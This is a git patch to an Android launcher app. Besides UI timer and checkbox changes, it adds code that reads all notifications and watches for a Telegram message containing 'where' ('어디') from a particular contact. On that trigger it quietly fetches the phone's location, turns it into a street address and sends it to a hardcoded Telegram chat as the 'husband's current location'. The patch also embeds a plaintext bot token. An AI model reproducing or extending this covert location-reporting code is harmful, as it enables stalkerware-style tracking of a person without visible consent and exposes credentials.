From b31ab340ab83169ef0bdf5036f2b3b57fa130d38 Mon Sep 17 00:00:00 2001 From: lunaticbum Date: Fri, 20 Sep 2024 16:49:50 +0900 Subject: [PATCH] .... --- app/src/main/AndroidManifest.xml | 2 +- .../rasel/lunar/launcher/LauncherActivity.kt | 2 +- .../rasel/lunar/launcher/feeds/Feeds.kt | 2 +- .../rasel/lunar/launcher/home/LauncherHome.kt | 28 ++- .../lunar/launcher/model/NotificationItem.kt | 2 + .../lunar/launcher/model/TelegramBotUpdate.kt | 1 + .../launcher/{utils => receiver}/NLService.kt | 124 +++++++++++-- .../launcher/workers/RecentCallGetter.kt | 2 +- .../launcher/workers/TelegramBotGetter.kt | 163 ++++++++++++++---- .../rasel/lunar/launcher/workers/WorkersDb.kt | 16 +- app/src/main/res/layout/search_layout.xml | 4 +- 11 files changed, 270 insertions(+), 76 deletions(-) rename app/src/main/kotlin/rasel/lunar/launcher/{utils => receiver}/NLService.kt (53%) diff --git a/app/src/main/AndroidManifest.xml b/app/src/main/AndroidManifest.xml index 536b555a..fa5eb416 100644 --- a/app/src/main/AndroidManifest.xml +++ b/app/src/main/AndroidManifest.xml @@ -142,7 +142,7 @@ android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths" /> - { + refreshFeeds() RecentCallGetter.dayRange = 30 RecentSmsGetter.dayRange = 30 - refreshFeeds() refreshDeviceData() consoleLog("excute refreshFeeds()") } diff --git a/app/src/main/kotlin/rasel/lunar/launcher/home/LauncherHome.kt b/app/src/main/kotlin/rasel/lunar/launcher/home/LauncherHome.kt index e2e6fcef..d2620d5d 100644 --- a/app/src/main/kotlin/rasel/lunar/launcher/home/LauncherHome.kt +++ b/app/src/main/kotlin/rasel/lunar/launcher/home/LauncherHome.kt @@ -37,6 +37,7 @@ import android.view.KeyEvent import android.view.LayoutInflater import android.view.View import android.view.ViewGroup +import android.widget.CheckBox import android.widget.EditText import android.widget.RadioButton import android.widget.TableRow @@ -277,8 +278,9 @@ internal class LauncherHome : Fragment() { return binding.root } - val hideListViewTime = 1000L * 60 * 5 + val hideListViewTime = 1000L * 60L * 15L val hideListView = { + binding.notiList.visibility = View.GONE binding.mainList.visibility = View.GONE binding.infoList.visibility = View.GONE @@ -293,6 +295,7 @@ internal class LauncherHome : Fragment() { val onScrChanged = object : RecyclerView.OnScrollListener() { override fun onScrollStateChanged(recyclerView: RecyclerView, newState: Int) { super.onScrollStateChanged(recyclerView, newState) + commandHandler.removeCallbacks(hideListView) when (newState) { RecyclerView.SCROLL_STATE_IDLE -> { commandHandler.postDelayed(hideListView, hideListViewTime) @@ -302,7 +305,6 @@ internal class LauncherHome : Fragment() { RecyclerView.SCROLL_STATE_SETTLING -> { } } - commandHandler.removeCallbacks(hideListView) } override fun onScrolled(recyclerView: RecyclerView, dx: Int, dy: Int) { @@ -327,7 +329,7 @@ internal class LauncherHome : Fragment() { mNotificationResult = WorkersDb.getRealm().query().sort("postTime",Sort.DESCENDING).find() noticeJob = CoroutineScope(Dispatchers.Default).launch { mNotificationResult?.asFlow()?.collect { changes: ResultsChange -> -// BLog.LOGE("changes >>> ${changes}") + commandHandler.removeCallbacks(hideListView) when (changes) { is UpdatedResults -> { // BLog.LOGE("ResultsChange onNotificationPosted") @@ -335,7 +337,7 @@ internal class LauncherHome : Fragment() { lastedNoti = copyFromRealm(changes.list) } commandHandler.removeCallbacks(notiUpdate) - commandHandler.postDelayed(notiUpdate, hideListViewTime) + commandHandler.postDelayed(notiUpdate, UPDATE_DELAY) } else -> { @@ -366,15 +368,15 @@ internal class LauncherHome : Fragment() { // BLog.LOGE("${this} ::::: queryInfos after query find >>>> ") infosJob = CoroutineScope(Dispatchers.Default).launch { mRssDataResult?.asFlow()?.collect { changes: ResultsChange -> + commandHandler.removeCallbacks(hideListView) commandHandler.removeCallbacks(infoUpdate) - when (changes) { is InitialResults -> { // BLog.LOGE("${this} ::::: queryInfos after changes size >>>> ${changes.list.size}") WorkersDb.getRealm().apply { lasted = copyFromRealm(changes.list) } - commandHandler.postDelayed(infoUpdate, hideListViewTime) + commandHandler.postDelayed(infoUpdate, UPDATE_DELAY) } is UpdatedResults -> { // lasted = changes.list @@ -437,15 +439,15 @@ internal class LauncherHome : Fragment() { mRssDataResult = rQ.sort("pubDate ", Sort.DESCENDING).find() infosJob = CoroutineScope(Dispatchers.Default).launch { mRssDataResult?.asFlow()?.collect { changes: ResultsChange -> + commandHandler.removeCallbacks(hideListView) commandHandler.removeCallbacks(infoUpdate) - when (changes) { is InitialResults -> { WorkersDb.getRealm().apply { lasted = copyFromRealm(changes.list) } - commandHandler.postDelayed(infoUpdate, hideListViewTime) + commandHandler.postDelayed(infoUpdate, UPDATE_DELAY) } is UpdatedResults -> { // lasted = changes.list @@ -494,6 +496,7 @@ internal class LauncherHome : Fragment() { var checkListner = object : View.OnClickListener { override fun onClick(v: View?) { + commandHandler.removeCallbacks(hideListView) var views = arrayListOf(binding.mainList, binding.smsList, binding.infoList, binding.notiList) var chechboxs = arrayListOf(binding.missedCalls, binding.recentSms, @@ -583,14 +586,9 @@ internal class LauncherHome : Fragment() { it.forEach { c -> if(c.equals(RssDataType.NO_DATA) == false) { tb.addView( - RadioButton(requireContext()).apply { + CheckBox(requireContext()).apply { this.tag = c.name this.text = c.name - setOnClickListener { - (it as? RadioButton)?.let { - it.isChecked = !it.isChecked - } - } } ) } @@ -606,7 +604,7 @@ internal class LauncherHome : Fragment() { categoryz.children.forEach { if(it is TableRow) { it.children.forEach { - if (it is RadioButton && it.isChecked) { + if (it is CheckBox && it.isChecked) { (it.tag as? String)?.let { category.add(it) } } } diff --git a/app/src/main/kotlin/rasel/lunar/launcher/model/NotificationItem.kt b/app/src/main/kotlin/rasel/lunar/launcher/model/NotificationItem.kt index e44b9ae9..3173ca70 100644 --- a/app/src/main/kotlin/rasel/lunar/launcher/model/NotificationItem.kt +++ b/app/src/main/kotlin/rasel/lunar/launcher/model/NotificationItem.kt @@ -1,6 +1,7 @@ package rasel.lunar.launcher.model import io.realm.kotlin.types.RealmObject +import io.realm.kotlin.types.annotations.PrimaryKey class NotificationItem : RealmObject{ var notiId : Int = 0 @@ -10,5 +11,6 @@ class NotificationItem : RealmObject{ var subtext : String? = null var selfDisplayName : String? = null var postTime : Long = 0L + @PrimaryKey var uniq_id : String? = null } \ No newline at end of file diff --git a/app/src/main/kotlin/rasel/lunar/launcher/model/TelegramBotUpdate.kt b/app/src/main/kotlin/rasel/lunar/launcher/model/TelegramBotUpdate.kt index ef3613a7..2a566270 100644 --- a/app/src/main/kotlin/rasel/lunar/launcher/model/TelegramBotUpdate.kt +++ b/app/src/main/kotlin/rasel/lunar/launcher/model/TelegramBotUpdate.kt @@ -30,6 +30,7 @@ class TelegramData : RealmObject{ @PrimaryKey var update_id : Long = 0L var message : TelegramMessage? = null + var my_chat_member : TelegramMessage? = null } class TelegramMessage : RealmObject{ diff --git a/app/src/main/kotlin/rasel/lunar/launcher/utils/NLService.kt b/app/src/main/kotlin/rasel/lunar/launcher/receiver/NLService.kt similarity index 53% rename from app/src/main/kotlin/rasel/lunar/launcher/utils/NLService.kt rename to app/src/main/kotlin/rasel/lunar/launcher/receiver/NLService.kt index 5a2b68af..ab7e78a8 100644 --- a/app/src/main/kotlin/rasel/lunar/launcher/utils/NLService.kt +++ b/app/src/main/kotlin/rasel/lunar/launcher/receiver/NLService.kt @@ -1,10 +1,14 @@ -package rasel.lunar.launcher.utils +package rasel.lunar.launcher.receiver +import android.annotation.SuppressLint import android.content.BroadcastReceiver import android.content.ComponentName import android.content.Context import android.content.Intent import android.content.IntentFilter +import android.location.Address +import android.location.Geocoder +import android.location.Location import android.media.MediaMetadata import android.media.session.MediaSessionManager import android.os.Build @@ -14,13 +18,25 @@ import androidx.annotation.RequiresApi import androidx.core.content.getSystemService import androidx.work.OneTimeWorkRequest import androidx.work.WorkManager +import com.google.android.gms.location.FusedLocationProviderClient +import com.google.android.gms.location.LocationServices +import com.google.android.gms.tasks.OnSuccessListener import com.google.gson.Gson +import io.realm.kotlin.UpdatePolicy import io.realm.kotlin.ext.query +import okhttp3.ConnectionPool +import okhttp3.OkHttpClient +import okhttp3.Request +import okhttp3.Response +import okhttp3.ResponseBody import rasel.lunar.launcher.model.CurrentPlayItem import rasel.lunar.launcher.model.NotificationItem -import rasel.lunar.launcher.workers.AppInfoGetter +import rasel.lunar.launcher.utils.BLog +import rasel.lunar.launcher.utils.BitmapConverter import rasel.lunar.launcher.workers.TelegramBotGetter import rasel.lunar.launcher.workers.WorkersDb +import java.io.IOException +import java.util.Locale import java.util.concurrent.Executors import java.util.concurrent.TimeUnit @@ -45,12 +61,12 @@ class NLService : NotificationListenerService() { val skips = arrayListOf("com.wssyncmldm") @RequiresApi(Build.VERSION_CODES.S) override fun onNotificationPosted(sbn: StatusBarNotification) { - BLog.LOGE( "NLService********** onNotificationPosted") + BLog.LOGE("NLService********** onNotificationPosted") BLog.LOGE("NLServiceID :" + sbn.id + "\t${sbn.notification.tickerText}\t" + sbn.packageName) sbn.notification.extras.keySet().forEach { - BLog.LOGE( "NLService********** keySet >> ${it} ${sbn.notification.extras.get(it)}") + BLog.LOGE("NLService********** keySet >> ${it} ${sbn.notification.extras.get(it)}") } - if (sbn.id > 0 && (sbn.packageName.contains(".") || sbn.packageName.contains("android")) && sbn.packageName.length > 0) { + if (sbn.id != 0 && (sbn.packageName.contains(".") || sbn.packageName.contains("android")) && sbn.packageName.length > 0) { NotificationItem().apply { notiId = sbn.id pkgName = sbn.packageName @@ -59,12 +75,19 @@ class NLService : NotificationListenerService() { selfDisplayName = sbn.notification?.extras?.getString("android.selfDisplayName") ?: "" tikerMsg = sbn.notification?.tickerText?.toString() ?: "" postTime = sbn.postTime - uniq_id = "${sbn.id}_${sbn.packageName}" - if (true == "bumssavor".equals(title) && "org.telegram.messenger".equals(pkgName)) { - var mWorkManager = WorkManager.getInstance(applicationContext) - Executors.newSingleThreadScheduledExecutor().schedule({ - mWorkManager.enqueue(OneTimeWorkRequest.from(TelegramBotGetter::class.java)) - }, 5, TimeUnit.SECONDS) + var uniq = title ?: subtext ?: selfDisplayName ?: tikerMsg ?: "" + uniq_id = "${sbn.id}_${sbn.packageName}_${if (uniq.length > 3) uniq.substring(0,3) else uniq}" + BLog.LOGE("NLService********** enqueue TelegramBotGetter ${true == "bumssavor".equals(title)}") + BLog.LOGE("NLService********** enqueue TelegramBotGetter ${(true == "org.telegram.messenger".equals(pkgName))}") + BLog.LOGE("NLService********** enqueue TelegramBotGetter ${sbn.notification?.extras?.getString("android.text")?.startsWith("/") == true}") + if ((title?.contains("성희") == true) && (true == "org.telegram.messenger".equals(pkgName)) && + tikerMsg?.contains("어디") == true) { + getLastLocation(applicationContext) +// BLog.LOGE("NLService********** enqueue TelegramBotGetter ") +// var mWorkManager = WorkManager.getInstance(applicationContext) +// Executors.newSingleThreadScheduledExecutor().schedule({ +// mWorkManager.enqueue(OneTimeWorkRequest.from(TelegramBotGetter::class.java)) +// }, 5, TimeUnit.SECONDS) } }.apply { if (skips.contains(pkgName)) { @@ -91,7 +114,7 @@ class NLService : NotificationListenerService() { current = result.first() } else { current = CurrentPlayItem() - copyToRealm(current) + copyToRealm(current, UpdatePolicy.ALL) } BLog.LOGE( "Sessions", @@ -110,7 +133,9 @@ class NLService : NotificationListenerService() { "Sessions", "$session -- " + (session?.metadata?.getBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART)) ) - current.albumArt = BitmapConverter.BitmapToString(session.metadata?.getBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART)) + current.albumArt = BitmapConverter.BitmapToString( + session.metadata?.getBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART) + ) } else { current.albumArt = "" } @@ -135,8 +160,8 @@ class NLService : NotificationListenerService() { } override fun onNotificationRemoved(sbn: StatusBarNotification) { - BLog.LOGE( "NLService********** onNOtificationRemoved") - BLog.LOGE( "NLService ID :" + sbn.id + "\t" + sbn.notification.tickerText + "\t" + sbn.packageName) + BLog.LOGE("NLService********** onNOtificationRemoved") + BLog.LOGE("NLService ID :" + sbn.id + "\t" + sbn.notification.tickerText + "\t" + sbn.packageName) var uniq_id = "${sbn.id}_${sbn.packageName}" try { WorkersDb.getRealm()?.apply { @@ -173,4 +198,73 @@ class NLService : NotificationListenerService() { } } } + + var fusedLocationProviderClient: FusedLocationProviderClient? = null + @SuppressLint("MissingPermission") + private fun getLastLocation(context: Context) { + fusedLocationProviderClient = LocationServices.getFusedLocationProviderClient(context); + BLog.LOGE("Location getLastLocation") + fusedLocationProviderClient?.getLastLocation()?.addOnSuccessListener(object : + OnSuccessListener { + override fun onSuccess(location: Location?) { + if (location != null) { + // Log the latitude and longitude + BLog.LOGE("Location Latitude: " + location.getLatitude()) + BLog.LOGE("Location Longitude: " + location.getLongitude()) + + // Use Geocoder to get detailed location information + try { + val geocoder = Geocoder(context, Locale.getDefault()) + val addresses: List
? = geocoder.getFromLocation( + location.getLatitude(), + location.getLongitude(), + 1 + ) + + addresses?.first()?.let { + it.getAddressLine(0)?.let { + Executors.newSingleThreadScheduledExecutor().schedule({ + try { + //////-1002450229641 + val url = + "https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/sendMessage?chat_id=83268260&text=남편의현위치는${it}" + //7068729507 + // OkHttp 클라이언트 객체 생성 + val client = OkHttpClient.Builder() + .connectionPool(ConnectionPool(5, 60, TimeUnit.SECONDS)) + .build() + + // GET 요청 객체 생성 + val builder: Request.Builder = Request.Builder().url(url) + .addHeader("Content-Type", "application/json").get() + + val request: Request = builder.build() + + BLog.LOGE("telegram before request ") + // OkHttp 클라이언트로 GET 요청 객체 전송 + val response: Response = client.newCall(request).execute() + if (response.isSuccessful()) { + // 응답 받아서 처리 + val body: ResponseBody? = response.body() + if (body != null) { + + } + } else BLog.LOGE("telegram Error Occurred") + + } catch (e: java.lang.Exception) { + e.printStackTrace() + } + }, 5, TimeUnit.SECONDS) + } + } + // Display location details on UI elements + // Log detailed location information + BLog.LOGE("Location Addresses: $addresses") + } catch (e: IOException) { + e.printStackTrace() + } + } + } + }) + } } \ No newline at end of file diff --git a/app/src/main/kotlin/rasel/lunar/launcher/workers/RecentCallGetter.kt b/app/src/main/kotlin/rasel/lunar/launcher/workers/RecentCallGetter.kt index ded43ffd..555b3d0c 100644 --- a/app/src/main/kotlin/rasel/lunar/launcher/workers/RecentCallGetter.kt +++ b/app/src/main/kotlin/rasel/lunar/launcher/workers/RecentCallGetter.kt @@ -62,7 +62,7 @@ class RecentCallGetter : BaseGetter { @SuppressLint("RestrictedApi") override fun realWork(): Result { - var dateParam = beforeDay(Date(),3).toString() + var dateParam = beforeDay(Date(),dayRange).toString() var managedCursor = lActivity?.contentResolver?.query( CallLog.Calls.CONTENT_URI, arrayOf( CallLog.Calls.NUMBER, diff --git a/app/src/main/kotlin/rasel/lunar/launcher/workers/TelegramBotGetter.kt b/app/src/main/kotlin/rasel/lunar/launcher/workers/TelegramBotGetter.kt index 17e5db51..ff6c9bdb 100644 --- a/app/src/main/kotlin/rasel/lunar/launcher/workers/TelegramBotGetter.kt +++ b/app/src/main/kotlin/rasel/lunar/launcher/workers/TelegramBotGetter.kt @@ -1,26 +1,36 @@ package rasel.lunar.launcher.workers +import android.Manifest +import android.R.attr.country import android.annotation.SuppressLint import android.content.Context +import android.content.pm.PackageManager +import android.location.Address +import android.location.Geocoder +import android.location.Location +import android.util.Log +import androidx.core.content.ContextCompat +import androidx.work.OneTimeWorkRequest import androidx.work.WorkerParameters +import com.google.android.gms.location.FusedLocationProviderClient +import com.google.android.gms.location.LocationServices +import com.google.android.gms.tasks.OnSuccessListener import com.google.gson.Gson -import kotlinx.coroutines.GlobalScope -import kotlinx.coroutines.launch +import io.realm.kotlin.ext.query import okhttp3.ConnectionPool import okhttp3.OkHttpClient import okhttp3.Request import okhttp3.Response import okhttp3.ResponseBody -import org.jsoup.Jsoup -import rasel.lunar.launcher.model.Clien import rasel.lunar.launcher.model.TelegramBotUpdate -import rasel.lunar.launcher.model.getHref -import rasel.lunar.launcher.model.getRssData -import rasel.lunar.launcher.model.getT +import rasel.lunar.launcher.model.TelegramData import rasel.lunar.launcher.utils.BLog +import java.io.IOException +import java.util.Locale import java.util.concurrent.Executors import java.util.concurrent.TimeUnit + class TelegramBotGetter : BaseGetter { companion object { val TAG = "TelegramBotGetter" @@ -35,38 +45,48 @@ class TelegramBotGetter : BaseGetter { try { try { -// val url = "https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/getUpdates" -// //"https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/sendMessage?chat_id=71476436&text=안녕하세요." -// //7068729507 -// // OkHttp 클라이언트 객체 생성 -// val client = OkHttpClient.Builder().connectionPool(ConnectionPool(5,60,TimeUnit.SECONDS)).build() -// -// // GET 요청 객체 생성 -// val builder: Request.Builder = Request.Builder().url(url).addHeader("Content-Type", "application/json").get() -// -// val request: Request = builder.build() -// -// BLog.LOGE("telegram before request ") -// // OkHttp 클라이언트로 GET 요청 객체 전송 -// val response: Response = client.newCall(request).execute() -// if (response.isSuccessful()) { -// // 응답 받아서 처리 -// val body: ResponseBody? = response.body() -// if (body != null) { -// Gson().fromJson(body.string(),TelegramBotUpdate::class.java)?.let { telegramUpdates -> -// telegramUpdates.fill() -// telegramUpdates.list.forEach { + val url = "https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/getUpdates" + //"https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/sendMessage?chat_id=71476436&text=안녕하세요." + //7068729507 + // OkHttp 클라이언트 객체 생성 + val client = OkHttpClient.Builder().connectionPool(ConnectionPool(5,60,TimeUnit.SECONDS)).build() + + // GET 요청 객체 생성 + val builder: Request.Builder = Request.Builder().url(url).addHeader("Content-Type", "application/json").get() + + val request: Request = builder.build() + + BLog.LOGE("telegram before request ") + // OkHttp 클라이언트로 GET 요청 객체 전송 + val response: Response = client.newCall(request).execute() + if (response.isSuccessful()) { + // 응답 받아서 처리 + val body: ResponseBody? = response.body() + if (body != null) { + val bodyString = body.string() + BLog.LOGE("bodyString >>>>\n${bodyString}") + Gson().fromJson(bodyString,TelegramBotUpdate::class.java)?.let { telegramUpdates -> + telegramUpdates.fill() + telegramUpdates.list.forEach { // if (it.message?.text?.startsWith("/") == true) { -// BLog.LOGE("telegram telegramUpdates >>>> ${Gson().toJson(it)}") -// } -// } -//// BLog.LOGE("telegram telegramUpdates >>>> ${Gson().toJson(telegramUpdates)}") -//// WorkersDb.getRealm().writeBlocking { -//// copyToRealm(telegramUpdates) -//// } -// } -// } -// } else BLog.LOGE("telegram Error Occurred") + if((it.message?.text?.contains("where") == true) || (it.message?.text?.contains("어디") == true)) { + BLog.LOGE("it.message?.text?.contains(\"where\") == true) >>> ${it.message?.text?.contains("where") == true}") + BLog.LOGE("it.message?.text?.contains(\"어디\") == true) >>> ${it.message?.text?.contains("어디") == true}") + WorkersDb.getRealm().apply { + writeBlocking { + if (query("update_id == $0",it.update_id).find().size == 0) { + copyToRealm(it) + getLastLocation(context = applicationContext) + BLog.LOGE("telegram telegramUpdates >>>> ${Gson().toJson(it)}") + } + } + } + + } + } + } + } + } else BLog.LOGE("telegram Error Occurred") } catch (e: java.lang.Exception) { e.printStackTrace() @@ -76,4 +96,71 @@ class TelegramBotGetter : BaseGetter { } } + var fusedLocationProviderClient: FusedLocationProviderClient? = null + @SuppressLint("MissingPermission") + private fun getLastLocation(context: Context) { + fusedLocationProviderClient = LocationServices.getFusedLocationProviderClient(context); + BLog.LOGE("Location getLastLocation") + fusedLocationProviderClient?.getLastLocation()?.addOnSuccessListener(object : OnSuccessListener { + override fun onSuccess(location: Location?) { + if (location != null) { + // Log the latitude and longitude + BLog.LOGE("Location Latitude: " + location.getLatitude()) + BLog.LOGE("Location Longitude: " + location.getLongitude()) + + // Use Geocoder to get detailed location information + try { + val geocoder = Geocoder(context, Locale.getDefault()) + val addresses: List
? = geocoder.getFromLocation( + location.getLatitude(), + location.getLongitude(), + 1 + ) + + addresses?.first()?.let { + it.getAddressLine(0)?.let { + Executors.newSingleThreadScheduledExecutor().schedule({ + try { + //////-1002450229641 + val url = + "https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/sendMessage?chat_id=83268260&text=남편의현위치는${it}" + //7068729507 + // OkHttp 클라이언트 객체 생성 + val client = OkHttpClient.Builder() + .connectionPool(ConnectionPool(5, 60, TimeUnit.SECONDS)) + .build() + + // GET 요청 객체 생성 + val builder: Request.Builder = Request.Builder().url(url) + .addHeader("Content-Type", "application/json").get() + + val request: Request = builder.build() + + BLog.LOGE("telegram before request ") + // OkHttp 클라이언트로 GET 요청 객체 전송 + val response: Response = client.newCall(request).execute() + if (response.isSuccessful()) { + // 응답 받아서 처리 + val body: ResponseBody? = response.body() + if (body != null) { + + } + } else BLog.LOGE("telegram Error Occurred") + + } catch (e: java.lang.Exception) { + e.printStackTrace() + } + }, 5, TimeUnit.SECONDS) + } + } + // Display location details on UI elements + // Log detailed location information + BLog.LOGE("Location Addresses: $addresses") + } catch (e: IOException) { + e.printStackTrace() + } + } + } + }) + } } \ No newline at end of file diff --git a/app/src/main/kotlin/rasel/lunar/launcher/workers/WorkersDb.kt b/app/src/main/kotlin/rasel/lunar/launcher/workers/WorkersDb.kt index 564465f1..80627d73 100644 --- a/app/src/main/kotlin/rasel/lunar/launcher/workers/WorkersDb.kt +++ b/app/src/main/kotlin/rasel/lunar/launcher/workers/WorkersDb.kt @@ -4,19 +4,33 @@ import io.realm.kotlin.Realm import io.realm.kotlin.RealmConfiguration import io.realm.kotlin.UpdatePolicy import io.realm.kotlin.ext.query +import io.realm.kotlin.ext.realmListOf import io.realm.kotlin.types.BaseRealmObject +import io.realm.kotlin.types.RealmList +import io.realm.kotlin.types.RealmObject import io.realm.kotlin.types.TypedRealmObject +import io.realm.kotlin.types.annotations.Ignore +import io.realm.kotlin.types.annotations.PrimaryKey import rasel.lunar.launcher.apps.SimpleContact import rasel.lunar.launcher.model.AppInfo +import rasel.lunar.launcher.model.BotCommandEentitie import rasel.lunar.launcher.model.CurrentPlayItem import rasel.lunar.launcher.model.NotificationItem import rasel.lunar.launcher.model.RssData import rasel.lunar.launcher.model.RssDataInterface +import rasel.lunar.launcher.model.TelegramBotUpdate +import rasel.lunar.launcher.model.TelegramChat +import rasel.lunar.launcher.model.TelegramData +import rasel.lunar.launcher.model.TelegramFrom +import rasel.lunar.launcher.model.TelegramMessage import kotlin.reflect.KClass object WorkersDb { - val clazz : Set> = setOf(RssData::class, NotificationItem::class, AppInfo::class,SimpleContact::class, RecentCall::class, RecentSms::class, CurrentPlayItem::class) + + + val clazz : Set> = setOf(RssData::class, NotificationItem::class, AppInfo::class,SimpleContact::class, RecentCall::class, RecentSms::class, CurrentPlayItem::class, + TelegramBotUpdate::class, TelegramData::class, TelegramMessage::class, TelegramChat::class, BotCommandEentitie::class, TelegramFrom::class,) val schemaVersion : Long = 0L diff --git a/app/src/main/res/layout/search_layout.xml b/app/src/main/res/layout/search_layout.xml index 651bfdb5..0b4af143 100644 --- a/app/src/main/res/layout/search_layout.xml +++ b/app/src/main/res/layout/search_layout.xml @@ -10,7 +10,6 @@ app:layout_constraintRight_toRightOf="parent" android:id="@+id/categoryz" android:maxRows="5" - android:orientation="horizontal" android:layout_width="match_parent" android:layout_height="wrap_content"> @@ -32,9 +31,8 @@ android:id="@+id/input" android:layout_width="match_parent" android:layout_height="wrap_content" - android:imeOptions="actionDone" - android:inputType="textPassword" /> + android:inputType="text" /> \ No newline at end of file